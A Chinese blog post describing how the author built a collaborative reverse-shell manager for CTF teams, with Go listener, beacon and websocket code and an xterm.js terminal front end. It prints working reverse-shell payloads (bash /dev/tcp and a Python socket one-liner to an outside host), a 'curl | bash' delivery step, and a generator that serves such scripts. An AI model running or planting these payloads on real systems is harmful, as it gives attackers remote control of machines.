0x00 前言
在各项CTF比赛中,经常需要执行反弹shell来进一步操作,然而反弹shell一般需要公网环境,而且在CTF这种需要多人协作的场景下,个人利用nc等工具接收反弹shell有局限性。最近正好在学习网络编程,于是萌生了搭建一个反弹shell协同平台的想法。
反弹shell的原理
一个最基础的反弹shell命令如下
/bin/bash -i >& /dev/tcp/example.com/8888 0>&1
/bin/bash -i 是以交互模式启动bash环境
>& 表示将交互式Shell发送给后续的文件,并且将&联合符号后面的内容也发送到重定向
/dev/tcp/example.com/8888 实际是 `bash` 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
0>&1 表示将标准的输入与标准输出相结合,都发给重定向文件
2>&1 表示将标准输出和标准错误输出都发送到socket文件中,即我们能够在控制端看到命令的返回,在被控端看不到相关信息。
0x01 后端设计
在反弹shell的过程中,我们在接收端一般使用的是netcat
比如
nc -lvp 12333
实际上就是在端口12333监听网络连接,那么我们在后端监听一个端口进行操作也是一样的。为了实现端口复用和协同工作,这里采取了一种比较简单的思路,即Listener负责监听端口,Beacon用来获取TCP连接,WsConn用来传输前后端数据实现反弹shell命令执行的输入和输出回显
Listener
结构如下
type Listener struct {
Name string `json:"name"`
Host string `json:"lhost"`
Port int `json:"lport"`
Closed bool `json:"closed"`
socket net.Listener `json:"-"` //listener 启动的socket
stoppedChan chan bool `json:"-"` //停止TCP socket监听信号量
}
Listener 本质上是监听一个网络地址的TCP连接,所以我们需要Host和Port,并且拥有一个SokcetName可以用来定位一个Listenr
golang可以通过net.Listener开启监听
func (listener *Listener) Start() error {
addr := fmt.Sprintf("%s:%d", listener.Host, listener.Port)
var err error
listener.socket, err = net.Listen("tcp", addr)
listener.taskChan = make(chan bool, 1)
listener.receivedChan = make(chan bool, 1)
listener.stoppedChan = make(chan bool, 1)
if err != nil {
global.SERVER_LOG.Error("tcp listener error")
return err
}
global.SERVER_LOG.Debugf("listener %s start listen at %s", listener.Name, addr)
listener.Closed = false
go listener.serve()
return nil
}
在获得一个TCP连接后,我们将他交给Beacon处理,可以看到beacon会处理获得的连接,并开启两个协程go beacon.WritePump()
和go beacon.ReSPump()
func (listener *Listener) serve() {
for {
conn, err := listener.socket.Accept()
if err != nil {
global.SERVER_LOG.Errorf("Accept failed: %v", err)
break
}
buf := make([]byte, 4096)
n, _ := conn.(*net.TCPConn).Read(buf)
if n > 0 {
global.SERVER_LOG.Debugf("Shell received: %s", string(buf[0:n]))
}
beacon := &Beacon{}
beacon.Construct(conn.(*net.TCPConn))
_ = global.SERVER_WS_HUB.BroadcastWSData(typing.WSData{Sender: "server", Type: "beacon", Data: beacon, Detail: fmt.Sprintf("Shell received: %s", string(buf[0:n]))})
global.SERVER_LOG.Debugf("before pushback beacon list:%+v and push %v", global.SERVER_BEACON_LIST, beacon)
global.SERVER_BEACON_LIST.PushBack(beacon)
global.SERVER_LOG.Debugf("after pushback beacon list:%v", global.SERVER_BEACON_LIST)
go beacon.WritePump()
go beacon.ReadPump()
}
listener.stoppedChan <- true
}
Beacon
根据前文部分所说的,我们的beacon用来处理反弹shell的tcp连接,当然还需要一些额外的信息用来标示beacon,初步的想法是uuid用于beacon的唯一标识符,name用来命名beacon,方便用户识别,send和receive是beacon的读写管道,为了防止beacon同时获得用户输入传输回显冲突,同时beacon需要能被多个用户同时使用,这里给beacon加了同步锁,即一个beacon同时只能执行一个用户的一条命令。
type Beacon struct {
UUID uuid.UUID `json:"uuid"`
Name string `json:"name"`
shConn *net.TCPConn `json:"-"`
Listener *Listener `json:"-"`
send chan []byte `json:"-"`
receive chan []byte `json:"-"`
stoppedChan chan bool `json:"-"` //becon 掉线
lck sync.Mutex `json:"-"` //一次只能执行一个用户的命令
}
向反弹shell写命令的协程即从beacon自身的待写管道输入,通过Write方法写,若写失败,则说明beacon掉线,延迟执行栈关闭连接。
//beacon写
func (b *Beacon) WritePump() {
defer func() {
b.shConn.Close()
}()
for {
select {
case message, ok := <-b.send:
b.shConn.SetWriteDeadline(time.Now().Add(config.BC_Write_Wait))
if !ok {
// The Beacon closed the channel.
return
}
b.shConn.Write(message)
default:
continue
}
}
}
读管道即将获得回显向beacon的recived缓存管道存储,如果读失败,则说明beacon掉线,断开连接
func (b *Beacon) ReadPump() {
defer func() {
global.SERVER_WS_HUB.BroadcastWSData(typing.WSData{Timestamp: GetNowTimeStamp(), Sender: "server", Type: "beacon", Detail: fmt.Sprintf("Beacon %s go offline", b.Name)})
b.shConn.Close()
DeleteBeacon(global.SERVER_BEACON_LIST, b)
}()
buf := make([]byte, 2048)
for {
n, err := b.shConn.Read(buf)
if err != nil {
global.SERVER_LOG.Errorf("Becon %s error: %v", b.Name, err)
break
}
if n > 0 {
b.receive <- buf[0:n]
}
}
}
wsConn
而实际上用户与后端建立的连接是websocket长连接,这里选用golang的gorilla websocket 与gin配套建立后端api接口,关键的WSAPI如下,其实该API主要是做了鉴权和将wsConn传入送给beacon进程,同时将beacon进程对应拿到的回显传给wsConn,在前端渲染,因为命令实际上是输入输出对应的,所以在上一条输入的输出完成前,对输入做了阻塞
func BeaconWSAPI(c *gin.Context) {
wsConn, err := wsupgrader.Upgrade(c.Writer, c.Request, nil)
if err != nil {
global.SERVER_LOG.Errorf("failed to set websocket upgrade: %+v", err)
return
}
defer func() {
if err != nil {
wsConn.WriteJSON(typing.ShData{Type: "error", Data: err.Error()})
wsConn.Close()
}
}()
beaconName, isset := c.GetQuery("name")
if !isset {
err = errors.New("username required")
return
}
var wsMsg typing.ShData
err = wsConn.ReadJSON(&wsMsg)
if wsMsg.Type != "auth" {
err = errors.New("authentication required")
return
}
jwt := middleware.NewJWT()
_, err = jwt.ParseToken(wsMsg.Data)
if err != nil {
return
}
beacon, err := util.GetBeacon(global.SERVER_BEACON_LIST, model.Beacon{Name: beaconName})
if err != nil {
return
}
for {
err := wsConn.ReadJSON(&wsMsg)
if err != nil {
global.SERVER_LOG.Debug(err)
break
}
if wsMsg.Type == "cmd" {
err := beacon.ServeShDataInput(wsMsg, wsConn)
if err != nil {
global.SERVER_LOG.Debug(err)
wsConn.WriteJSON(typing.ShData{Type: "error", Data: err.Error()})
}
}
}
}
ServeShDataInput主要就是处理输出,这里是希望结合websocket可以避免输出阻塞,输入一条命令得到部分回显tcp包就可以实时响应渲染
func (b *Beacon) ServeShDataInput
(shData typing.ShData, wsConn *websocket.Conn) error {
b.lck.Lock() //获取beacon锁
defer b.lck.Unlock()
switch shData.Type {
case "cmd":
b.send <- []byte(shData.Data)
}
timeout := time.NewTimer(config.BC_CMD_Wait)
receivedOnce := false
for {
select {
case message, ok := <-b.receive:
if !ok {
return errors.New("Beacon closed")
}
wsConn.WriteJSON(typing.ShData{Type: "cmd", Data: string(message)})
receivedOnce = true
timeout.Stop()
timeout.Reset(config.BC_CMD_Reset_Wait)
case <-timeout.C:
if !receivedOnce {
return errors.New("timeout")
}
return nil
case <-b.stoppedChan:
return errors.New("beacon closed")
}
}
}
Hub
Hub实际上是类似CoblatStirke聊天框的一个功能,通过这个功能可以实现协同时队友简单交流,也可作为一个公共信道实时广播listener和beacon上线信息。主要有Hub(管理用户以及广播信息)和User用来标识用户以及鉴权
package model
import (
"encoding/json"
"fmt"
"time"
"github.com/gorilla/websocket"
"sh.ieki.xyz/config"
"sh.ieki.xyz/global"
"sh.ieki.xyz/global/typing"
)
var (
newline = []byte{'\n'}
space = []byte{' '}
)
type User struct {
Hub *Hub `json:"-"`
Name string `json:"name"`
wsConn *websocket.Conn `json:"-"`
send chan []byte `json:"-"`
}
func (u *User) Construct(hub *Hub, name string, wsConn *websocket.Conn) {
u.Hub = hub
u.Name = name
u.wsConn = wsConn
u.send = make(chan []byte, 256)
}
//用户读管道 从客户端读
func (u *User) ReadPump() {
defer func() {
u.Hub.Unregister <- u
u.Hub.BroadcastWSData(typing.WSData{Sender: "server", Type: "user", Detail: fmt.Sprintf("User %s go offline", u.Name)})
u.wsConn.Close()
}()
u.wsConn.SetReadLimit(config.WS_Max_Message_Size)
u.wsConn.SetReadDeadline(time.Now().Add(config.WS_Pong_Wait))
u.wsConn.SetPongHandler(func(string) error { u.wsConn.SetReadDeadline(time.Now().Add(config.WS_Pong_Wait)); return nil })
for {
_, rawMessage, err := u.wsConn.ReadMessage()
if err != nil {
if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
global.SERVER_LOG.Errorf("error: %v", err)
}
break
}
var wsData typing.WSData
err = json.Unmarshal(rawMessage, &wsData)
if err != nil {
global.SERVER_LOG.Debugf("error Unmarshal %+v", rawMessage)
continue
}
wsData.Sender = u.Name
u.Hub.BroadcastWSData(wsData)
}
}
//用户写通道 向客户端写
func (u *User) WritePump() {
ticker := time.NewTicker(config.WS_Ping_Period)
defer func() {
ticker.Stop()
u.wsConn.Close()
}()
for {
select {
case message, ok := <-u.send:
u.wsConn.SetWriteDeadline(time.Now().Add(config.WS_Write_Wait))
if !ok {
// The hub closed the channel.
u.wsConn.WriteMessage(websocket.CloseMessage, []byte{})
return
}
w, err := u.wsConn.NextWriter(websocket.TextMessage)
if err != nil {
return
}
w.Write(message)
// Add queued chat messages to the current websocket message.
n := len(u.send)
for i := 0; i < n; i++ {
w.Write(newline)
w.Write(<-u.send)
}
if err := w.Close(); err != nil {
return
}
case <-ticker.C:
u.wsConn.SetWriteDeadline(time.Now().Add(config.WS_Write_Wait))
if err := u.wsConn.WriteMessage(websocket.PingMessage, nil); err != nil {
return
}
}
}
}
//公共频道
type Hub struct {
// Registered clients.
Clients map[*User]bool
// Inbound messages from the clients.
broadcast chan []byte
// Register requests from the clients.
Register chan *User
// Unregister requests from clients.
Unregister chan *User
}
func (h *Hub) Construct() {
h.broadcast = make(chan []byte)
h.Register = make(chan *User)
h.Unregister = make(chan *User)
h.Clients = make(map[*User]bool)
}
func (h *Hub) Run() {
for {
select {
case client := <-h.Register:
h.Clients[client] = true
case client := <-h.Unregister:
if _, ok := h.Clients[client]; ok {
delete(h.Clients, client)
close(client.send)
}
case message := <-h.broadcast:
for client := range h.Clients {
select {
case client.send <- message:
default:
close(client.send)
delete(h.Clients, client)
}
}
}
}
}
func (h *Hub) BroadcastWSData(wsData typing.WSData) error {
wsData.Timestamp = GetNowTimeStamp()
global.SERVER_LOG.Debugf("broadcast %+v", wsData)
rawData, err := json.Marshal(wsData)
if err != nil {
return err
}
h.broadcast <- rawData
return nil
}
Rervse Shell as servie
以服务的形式提供反弹shell payload是一个挺有意思的想法,在https://reverse-shell.sh 就有实现。
实际上在反弹shell中,除了监听的地址不同,我们所使用的payload是固定的。那么可以利用模板字符串的思想,构造payload,一个示例如下
# Reverse Shell as a Service
#
# 1. On Attacker Machine:
# nc -l 5666
#
# 2. On The Target Machine:
# curl http://localhost/gen/buptmerak.cn/5666 | bash
#
# 3. Enjoy it.
if command -v bash > /dev/null 2>&1; then
/bin/bash -i >& /dev/tcp/buptmerak.cn/5666 0>&1
exit;
fi
if command -v python > /dev/null 2>&1; then
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("buptmerak.cn",5666)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
exit;
fi
注意到切换可用payload是通过直接用if块,那么我们很容易写出相关模板
这里使用golang的template原生库即可,追加payload可以写在config中,实时热更新
package api
import (
"fmt"
"net/http"
"strconv"
"text/template"
"github.com/gin-gonic/gin"
"sh.ieki.xyz/global"
)
func GenReverseShellPayloadAPI(c *gin.Context) {
lhost := c.Param("lhost")
lport, err := strconv.Atoi(c.Param("lport"))
if err != nil {
c.String(http.StatusRequestedRangeNotSatisfiable, "something wrong")
}
script := `# Reverse Shell as a Service
#
# 1. On Attacker Machine:
# nc -l {{.LPort}}
#
# 2. On The Target Machine:
# curl http://{{.ServerUrl}} | bash
#
# 3. Enjoy it.
`
for _, Payload := range global.SERVER_CONFIG.ReverseShellPayloadList {
script += fmt.Sprintf(`if command -v %s > /dev/null 2>&1; then
%s
exit;
fi
`, Payload.Command, Payload.Payload)
}
scriptTmpl, _ := template.New("script").Parse(script)
scriptTmpl.Execute(c.Writer, struct {
ServerUrl string
LHost string
LPort int
}{
ServerUrl: c.Request.Host + c.Request.RequestURI,
LHost: lhost,
LPort: lport,
})
}
0x02 前端设计
因为反弹shell是一个shell的环境,那么我们最好能在前端渲染一个终端,xterm。js就为我们提供了一个很好的帮助,只需要关注输入输出数据即可。
Xterm.js
实际上Xterm还存在一些坑,实际试用下来原来的几个addOn目前或多或少存在bug,而且如果是直接从后端取得stdin,stdout,试用下来会非常卡。
const msg: ShData = { type: ShDataType.CMD, data: inputChar };
if (socket.value) socket.value.send(JSON.stringify(msg));
因为每输入一个字符都需要等待一次回显,并且会导致协同输入冲突。所以还是在前端模拟终端做了部分处理,直到输入回车(一条命令结束)才将命令传输给后端。
terminal.value.onData((inputChar: string) => {
// 前端模拟特殊操作,并只有输入回车后才发送整段数据
var msg:ShData;
var leftp:string =inputBuffer.slice(0,currentPosOfInputBuffer);
var rightp:string=inputBuffer.slice(currentPosOfInputBuffer,inputBuffer.length);
switch(inputChar){
case SpecialTerminalChar.BACKSPACE:
if(currentPosOfInputBuffer <=0)
break;
if(currentPosOfInputBuffer === 0)
break;
terminal.value?.write("\b\u001b[1P"+rightp+"\b".repeat(rightp.length));
inputBuffer = inputBuffer.slice(0,currentPosOfInputBuffer-1) + rightp;
currentPosOfInputBuffer -=1;
break;
case SpecialTerminalChar.ENETER:
msg = { type: ShDataType.CMD, data: inputBuffer+"\n" };
terminal.value?.write("\b".repeat(leftp.length));
inputBuffer = "";
currentPosOfInputBuffer = 0;
if (socket.value) socket.value.send(JSON.stringify(msg));
break;
case SpecialTerminalChar.UP:
terminal.value?.write("\b".repeat(inputBuffer.length));
msg = { type: ShDataType.CMD, data: inputChar };
if (socket.value) socket.value.send(JSON.stringify(msg));
break;
case SpecialTerminalChar.DOWN:
terminal.value?.write("\b".repeat(inputBuffer.length));
msg = { type: ShDataType.CMD, data: inputChar };
if (socket.value) socket.value.send(JSON.stringify(msg));
break;
case SpecialTerminalChar.LEFT:
if(currentPosOfInputBuffer <=0) {
currentPosOfInputBuffer = 0
}else{
currentPosOfInputBuffer -= 1;
terminal.value?.write(inputChar);
}
break;
case SpecialTerminalChar.RIGHT:
if(currentPosOfInputBuffer >= inputBuffer.length) {
currentPosOfInputBuffer = inputBuffer.length
}else{
currentPosOfInputBuffer += 1;
terminal.value?.write(inputChar);
}
break;
case SpecialTerminalChar.CRTL_C:
terminal.value?.write(inputChar);
break;
default:
terminal.value?.write(inputChar+rightp+"\b".repeat(rightp.length));
inputBuffer = leftp + inputChar + rightp
currentPosOfInputBuffer += 1;
}
lastInputChar = inputChar;
console.log("left part",leftp,"righ part",rightp)
}
0xff 尾声
运行的实际效果如下,目前来说勉强能够使用了,代码将在github上开源以供大家学习以及改进。
https://github.com/EkiXu/reverse-shell-manager
(仅限于CTF学习研究,禁止用于非法用途)
显然,在设计和实现上仍然存在着一些不足和局限性,比如多用户shell上下文环境冲突等,但是练手网络编程还是收获颇多。
发表评论
您还未登录,请先登录。
登录